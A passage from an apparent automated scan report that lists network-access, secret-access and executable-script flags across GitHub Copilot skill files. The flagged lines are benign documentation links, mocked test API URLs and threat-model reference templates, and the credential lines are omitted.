    @Test   void shouldFetchWeatherWithRestClient() {     server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 72
    void shouldFetchWeatherWithRestClient() {     server.expect(requestTo("https://api.weather.com/v1/current"))       .andRespond(withSuccess()
  • Network accessline 73
    server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 89
    server.expect(requestTo("https://api.example.com/users/1"))
  • Network accessline 96
    server.expect(requestTo(matchesPattern("https://api.example.com/users/\\d+")))
  • Network accessline 103
    server.expect(ExpectedCount.once(),    requestTo("https://api.example.com/users"))
  • Network accessline 104
    requestTo("https://api.example.com/users"))
  • Network accessline 112
    server.expect(requestTo("https://api.example.com/users"))
  • Network accessline 121
    server.expect(requestTo("https://api.example.com/users"))
  • Network accessline 173
    void shouldCallApi() {   server.expect(ExpectedCount.once(),      requestTo("https://api.example.com/data"))
  • Network accessline 174
    server.expect(ExpectedCount.once(),      requestTo("https://api.example.com/data"))     .andRespond(withSuccess());
  • Network accessline 175
    requestTo("https://api.example.com/data"))

harness/github-copilot/skills/sql-server-table-reconciliation/SKILL.md

  • Access to secretsline 86
    [Credential-related source omitted]

harness/github-copilot/skills/sql-server-table-reconciliation/scripts/reconcile.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]

harness/github-copilot/skills/steno-mode/SKILL.md

  • Access to secretsline 45
    [Credential-related source omitted]

harness/github-copilot/skills/suggest-awesome-github-copilot-agents/SKILL.md

  • Network accessline 21
    Use web access to read the awesome-copilot catalog and raw agent files. The catalog is at `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`; agent files are under `https://github.com/github/awesome-copilot/tree/mai
  • Network accessline 27
    1. Fetch the available custom agent list and descriptions from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`.
  • Network accessline 28
    2. List every local `.github/agents/*.agent.md` file. 3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercont
  • Network accessline 29
    3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`
  • Network accessline 30
    4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`.
  • Network accessline 74
    | Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilo
  • Network accessline 75
    | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to depl
  • Network accessline 76
    | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to deploy new experiments inside of Amp
  • Network accessline 77
    | [launchdarkly-flag-cleanup.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/launchdarkly-flag-cleanup.agent.md) | Feature flag cleanup agent for LaunchDarkly | Yes | `launchdarkly-flag-cleanup.agent.md` | Already cover
  • Network accessline 78
    | [principal-software-engineer.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/principal-software-engineer.agent.md) | Provide principal-level software engineering guidance with focus on engineering excellence, technica
  • Network accessline 94
    | Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent
  • Network accessline 96
    | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent-name.agent.md)` | `<description>` | `No | Yes | Outdated` | `<local filename or None>` | `<why it fits, duplicate rationale, or specific outdated diff
  • Network accessline 101
    - [ ] The awesome-copilot README agents catalog was fetched from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`.
  • Network accessline 102
    - [ ] Local `.github/agents/*.agent.md` files were listed and their frontmatter descriptions were read. - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable
  • Network accessline 103
    - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable local agents.
  • Network accessline 111
    - [Awesome Copilot agents catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md)
  • Network accessline 112
    - [Awesome Copilot agents folder](https://github.com/github/awesome-copilot/tree/main/agents)

harness/github-copilot/skills/suggest-awesome-github-copilot-instructions/SKILL.md

  • Network accessline 21
    - Read local instruction files from `.github/instructions/` and repository-wide instructions from `.github/copilot-instructions.md` when present. - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.inst
  • Network accessline 22
    - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md>.
  • Network accessline 23
    - Fetch remote instruction versions with raw URLs: `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 29
    2. Discover local `*.instructions.md` files in `.github/instructions/` and, when relevant, community `instructions/` files. 3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file t
  • Network accessline 30
    3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awe
  • Network accessline 31
    4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 79
    | Awesome-Copilot Instruction | Description | Already Installed | Similar Local Instruction | Suggestion Rationale | | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions
  • Network accessline 80
    | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existi
  • Network accessline 81
    | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existing Blazor instructions. |
  • Network accessline 82
    | [pcf-react-platform-libraries.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) | ReactJS development standards | No | None | Would enhance React development wi
  • Network accessline 83
    | [java-junit5-assertions.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) | Java development best practices | Outdated | `java-junit5-assertions.instructions.md` | `a
  • Network accessline 111
    | Local file | Remote file | Key differences | Recommendation | | --- | --- | --- | --- | | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <descripti
  • Network accessline 113
    | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <description/applyTo/content differences> | update | keep |
  • Network accessline 121
    - [ ] The awesome-copilot catalog at <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md> was checked.
  • Network accessline 122
    - [ ] Local `.github/instructions/` files were inventoried, including `description` and `applyTo`. - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instru
  • Network accessline 123
    - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 131
    - [Awesome Copilot instructions catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md)
  • Network accessline 132
    - [Blazor instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md)
  • Network accessline 133
    - [PCF React platform libraries instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md)
  • Network accessline 134
    - [Java JUnit 5 assertions instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md)
  • Network accessline 135
    - [Raw instruction URL pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename})

harness/github-copilot/skills/suggest-awesome-github-copilot-skills/SKILL.md

  • Network accessline 21
    - Remote catalog: https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files
  • Network accessline 22
    - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files. Use `execute/bash` with `curl` only when a bundled asset cannot be retrieved completely thr
  • Network accessline 30
    1. Fetch the available skill list and descriptions from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md.
  • Network accessline 32
    3. For each local folder, read `SKILL.md` front matter and extract `name` and `description`. 4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://r
  • Network accessline 33
    4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. 6. Compar
  • Network accessline 34
    5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`.
  • Network accessline 66
    https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md
  • Network accessline 71
    - https://github.com/github/awesome-copilot/tree/main/skills/gh-attach
  • Network accessline 72
    - https://github.com/github/awesome-copilot/tree/main/skills/aspire
  • Network accessline 73
    - https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer
  • Network accessline 99
    | Awesome-Copilot Skill | Description | Bundled Assets | Already Installed | Similar Local Skill | Suggestion Rationale | | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-atta
  • Network accessline 100
    | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automati
  • Network accessline 101
    | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automation capabilities |
  • Network accessline 102
    | [aspire](https://github.com/github/awesome-copilot/tree/main/skills/aspire) | Aspire skill for distributed application development | 9 reference files | Yes | aspire | Already covered by existing Aspire skill |
  • Network accessline 103
    | [terraform-azurerm-set-diff-analyzer](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer) | Analyze Terraform AzureRM provider changes | Reference files | Outdated | terraform-azurerm-set-diff-a
  • Network accessline 114
    - [ ] The awesome-copilot README skills catalog was fetched from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md.
  • Network accessline 124
    - [awesome-copilot skills README](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md)
  • Network accessline 125
    - [awesome-copilot skills folder](https://github.com/github/awesome-copilot/tree/main/skills)
  • Network accessline 126
    - [gh-attach skill](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach)
  • Network accessline 127
    - [aspire skill](https://github.com/github/awesome-copilot/tree/main/skills/aspire)
  • Network accessline 128
    - [terraform-azurerm-set-diff-analyzer skill](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer)

harness/github-copilot/skills/swift-mcp-server-generator/references/project-templates.md

  • Network accessline 20
    dependencies: [         .package(             url: "https://github.com/modelcontextprotocol/swift-sdk.git",
  • Network accessline 21
    .package(             url: "https://github.com/modelcontextprotocol/swift-sdk.git",             from: "0.10.0"
  • Network accessline 22
    url: "https://github.com/modelcontextprotocol/swift-sdk.git",
  • Network accessline 24
    ),         .package(             url: "https://github.com/apple/swift-log.git",
  • Network accessline 25
    .package(             url: "https://github.com/apple/swift-log.git",             from: "1.5.0"
  • Network accessline 26
    url: "https://github.com/apple/swift-log.git",
  • Network accessline 28
    ),         .package(             url: "https://github.com/swift-server/swift-service-lifecycle.git",
  • Network accessline 29
    .package(             url: "https://github.com/swift-server/swift-service-lifecycle.git",             from: "2.0.0"
  • Network accessline 30
    url: "https://github.com/swift-server/swift-service-lifecycle.git",
  • Network accessline 573
    The server uses: - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation
  • Network accessline 574
    - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation
  • Network accessline 575
    - [swift-log](https://github.com/apple/swift-log) - Structured logging
  • Network accessline 576
    - [swift-service-lifecycle](https://github.com/swift-server/swift-service-lifecycle) - Graceful shutdown

harness/github-copilot/skills/terraform-azurerm-set-diff-analyzer/SKILL.md

  • Network accessline 21
    - Python 3.8+ is required. If `python` is unavailable, use `python3`, install with a package manager such as `apt install python3` or `brew install python3`, or use https://www.python.org/downloads/.
  • Network accessline 88
    - [Python downloads](https://www.python.org/downloads/)

harness/github-copilot/skills/terraform-azurerm-set-diff-analyzer/references/azurerm_set_attributes.md

  • Network accessline 74
    1. **Check Official Documentation**    - Search for the resource in [Terraform Registry](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs)
  • Network accessline 75
    - Search for the resource in [Terraform Registry](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs)
  • Network accessline 79
    2. **Check Source Code (more reliable)**    - Search for the resource in [AzureRM Provider GitHub](https://github.com/hashicorp/terraform-provider-azurerm)
  • Network accessline 80
    - Search for the resource in [AzureRM Provider GitHub](https://github.com/hashicorp/terraform-provider-azurerm)

harness/github-copilot/skills/terraform-azurerm-set-diff-analyzer/scripts/.gitignore

  • Executable scriptline 1
    Executable file
  • Access to secretsline 54
    [Credential-related source omitted]

harness/github-copilot/skills/terraform-azurerm-set-diff-analyzer/scripts/analyze_plan.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/test-data-management/SKILL.md

  • Network accessline 133
    - [NIST SP 800-188: De-Identifying Government Datasets](https://csrc.nist.gov/pubs/sp/800/188/final)
  • Network accessline 134
    - [GDPR Recital 26: anonymous information](https://gdpr-info.eu/recitals/no-26/)
  • Network accessline 135
    - [Test Data Builder pattern](https://www.natpryce.com/articles/000714.html)

harness/github-copilot/skills/threat-model-analyst/references/analysis-principles.md

  • Network accessline 184
    Reference: https://owasp.org/Top10/2025/
  • Network accessline 387
    ### SDL Bugbar Severity Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar
  • Network accessline 388
    Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar
  • Network accessline 390
    ### CVSS 4.0 Score Use CVSS v4.0 Base score (0.0-10.0) with vector string. Reference: https://www.first.org/cvss/v4.0/specification-document
  • Network accessline 392
    Reference: https://www.first.org/cvss/v4.0/specification-document
  • Network accessline 394
    ### CWE Assign Common Weakness Enumeration ID and name. Reference: https://cwe.mitre.org/
  • Network accessline 396
    Reference: https://cwe.mitre.org/
  • Network accessline 399
    Map to OWASP Top 10:2025 category if applicable (A01-A10). **ALWAYS use `:2025` suffix** (e.g., `A01:2025`), never `:2021`. Reference: https://owasp.org/Top10/2025/
  • Network accessline 401
    Reference: https://owasp.org/Top10/2025/

harness/github-copilot/skills/threat-model-analyst/references/orchestrator.md

  • Network accessline 50
    20. **Deployment Classification is BINDING.** In `0.1-architecture.md`, set `Deployment Classification` and fill the Component Exposure Table. If classification is `LOCALHOST_DESKTOP` or `LOCALHOST_SERVICE`: zero T1 findings, zero `Prerequi
  • Network accessline 51
    21. Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03... Renumber after sorting 22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication` 23. After STRIDE, run
  • Network accessline 52
    22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication`

harness/github-copilot/skills/threat-model-analyst/references/output-formats.md

  • Network accessline 369
    | SDL Bugbar Severity | Critical / Important / Moderate / Low | | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink
  • Network accessline 370
    | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.ht
  • Network accessline 371
    | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`) |
  • Network accessline 387
    | SDL Bugbar Severity | Critical | | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function |
  • Network accessline 388
    | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | | OWASP | A07:2025 – Authentication Fail
  • Network accessline 389
    | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function |
  • Network accessline 614
    | Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 615
    |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 616
    | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 617
    | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 618
    | CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring |
  • Network accessline 619
    | CWE | https://cwe.mitre.org/ | Weakness classification |
  • Network accessline 620
    | STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration methodology |
  • Network accessline 621
    | NIST SP 800-53 Rev. 5 | https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final | Control mapping |
  • Network accessline 624
    | Component | Documentation URL | Relevant Section | |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] |
  • Network accessline 625
    |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authenticati
  • Network accessline 626
    | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] |
  • Network accessline 627
    | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authentication] |
  • Network accessline 630
    **Processing Rules:** 1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column
  • Network accessline 631
    1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column 3. Populate Component Documentation with technologies actually c
  • Network accessline 632
    2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column
  • Network accessline 709
    21.  Skipping `## Report Files`, `## References Consulted`, or `## Report Metadata` →  ALL 7 sections in 0-assessment.md are MANDATORY. Never omit any. 22.  Finding IDs out of order (FIND-06 before FIND-04) →  Finding IDs MUST be sequential
  • Network accessline 710
    22.  Finding IDs out of order (FIND-06 before FIND-04) →  Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03, ... Renumber after sorting. 23.  CWE without hyperlink →  CWE MUST include hyperlink: `[CWE-306](https://cwe.
  • Network accessline 711
    23.  CWE without hyperlink →  CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`
  • Network accessline 732
    "branch": "main",   "analysis_timestamp": "2025-08-15T14:30:00Z",   "repository": "https://github.com/org/repo",
  • Network accessline 733
    "analysis_timestamp": "2025-08-15T14:30:00Z",   "repository": "https://github.com/org/repo",   "report_folder": "threat-model-20250815-143000",
  • Network accessline 734
    "repository": "https://github.com/org/repo",
  • Access to secretsline 948
    [Credential-related source omitted]

harness/github-copilot/skills/threat-model-analyst/references/skeletons/skeleton-assessment.md

  • Network accessline 191
    | Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 192
    |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 193
    | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 194
    | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 195
    | CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring |
  • Network accessline 196
    | CWE | https://cwe.mitre.org/ | Weakness classification |
  • Network accessline 197
    | STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration |
  • Network accessline 256
    | **Incremental Tags** | `[Existing]` · `[Fixed]` · `[Partial]` · `[New]` · `[Removed]` (incremental reports only) | | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.or
  • Network accessline 257
    | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) | | **OWASP** | OWASP Top 10:2025 mapping (e.g., A01:2025 – Broken Access Control) |
  • Network accessline 258
    | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) |

harness/github-copilot/skills/threat-model-analyst/references/skeletons/skeleton-findings.md

  • Network accessline 23
    | SDL Bugbar Severity | [FILL: Critical / Important / Moderate / Low] | | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): 
  • Network accessline 24
    | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | | OWASP | A[FILL: NN]:2025 – [FILL: category nam
  • Network accessline 25
    | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] |
  • Network accessline 84
    | SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 85
    | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] |
  • Network accessline 86
    | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 128
    | SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 129
    | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] |
  • Network accessline 130
    | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |

harness/github-copilot/skills/threat-model-analyst/references/tmt-element-taxonomy.md

  • Network accessline 67
    | TMT ID | Name | Code Patterns to Identify | |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS |
  • Network accessline 68
    |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints |
  • Network accessline 69
    | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS |
  • Network accessline 70
    | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints |
  • Network accessline 124
    | Flow Type | Code Patterns | |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |
  • Network accessline 125
    |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | | **SQL Database** | ORM queries, SQL connections, `DbContext` |
  • Network accessline 126
    | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |

harness/github-copilot/skills/threat-model-analyst/references/verification-checklist.md

  • Network accessline 29
    - [ ] Every `#### Evidence` section cites specific file paths, line numbers, or config keys (not generic statements like "found in codebase") - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`,
  • Network accessline 30
    - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, `OWASP`, `Exploitation Prerequisites`, `Exploitability Tier`, `Remediation Effort`, `Mitigation Type`, `Component`, `Related Threats` - [ ] E
  • Network accessline 31
    - [ ] Every CWE value is a hyperlink: contains `](https://cwe.mitre.org/` (not plain text like `CWE-79`)
  • Network accessline 170
    - [ ] **References Consulted as flat table **— Search for `| Reference | Usage |` pattern. Two-column flat table → Two subsections: `### Security Standards` with `| Standard | URL | How Used |` and `### Component Documentation` with `| Comp
  • Network accessline 171
    - [ ] **References missing URLs **— Every row in References Consulted tables must have a full `https://` URL. Missing URL column or empty URLs → Full URLs in every row
  • Network accessline 177
    - [ ] **CVSS score without vector or missing prefix **— Grep each finding's CVSS field. The value MUST match pattern: `\d+\.\d+ \(CVSS:4\.0/AV:`. Specifically check for the `CVSS:4.0/` prefix — the most common deviation is outputting the ve
  • Network accessline 178
    - [ ] **CWE without hyperlink **— Grep for `CWE-\d+` without preceding `[`. `CWE-78: OS Command Injection` → `[CWE-78](https://cwe.mitre.org/data/definitions/78.html): OS Command Injection`

harness/github-copilot/skills/tldr-prompt/SKILL.md

  • Network accessline 41
    | URLs supplied without explicit fetch syntax | Fetch all supplied URLs. | | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search 
  • Network accessline 42
    | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.c
  • Network accessline 43
    | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.collections.md`; if no relevant files exist, check https://github.com/github/awesome-copilot and 
  • Network accessline 44
    | Query about MCP servers | Prefer https://modelcontextprotocol.io/ and <https://code.visualstudio.com/docs/agent-customization/mcp-servers>. |
  • Network accessline 45
    | Query about inline chat or Ctrl+I | Prefer <https://code.visualstudio.com/docs/chat/inline-chat>. |
  • Network accessline 46
    | Query about chat view or chat tools | Prefer <https://code.visualstudio.com/docs/chat/chat-overview>. |
  • Network accessline 47
    | General GitHub Copilot query | Prefer https://code.visualstudio.com/docs/agents/overview or <https://docs.github.com/en/copilot/>. |
  • Network accessline 49
    When resolving through awesome-copilot, fetch <https://raw.githubusercontent.com/github/awesome-copilot/main/README.md> first, then convert relevant repository links such as <https://github.com/github/awesome-copilot/blob/main/instructions/
  • Network accessline 121
    You MUST provide one of the following: 1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}}
  • Network accessline 122
    1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} 3. A search query: /tldr-prompt "{{topic}}" (e.g., "MCP serve
  • Network accessline 123
    2. A URL: /tldr-prompt #fetch {{https://example.com/docs}}
  • Network accessline 141
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 142
    - [VS Code MCP servers](https://code.visualstudio.com/docs/agent-customization/mcp-servers)
  • Network accessline 143
    - [VS Code agents overview](https://code.visualstudio.com/docs/agents/overview)
  • Network accessline 144
    - [VS Code chat overview](https://code.visualstudio.com/docs/chat/chat-overview)
  • Network accessline 145
    - [VS Code inline chat](https://code.visualstudio.com/docs/chat/inline-chat)
  • Network accessline 146
    - [GitHub Copilot documentation](https://docs.github.com/en/copilot/)
  • Network accessline 147
    - [Awesome Copilot](https://github.com/github/awesome-copilot)
  • Network accessline 148
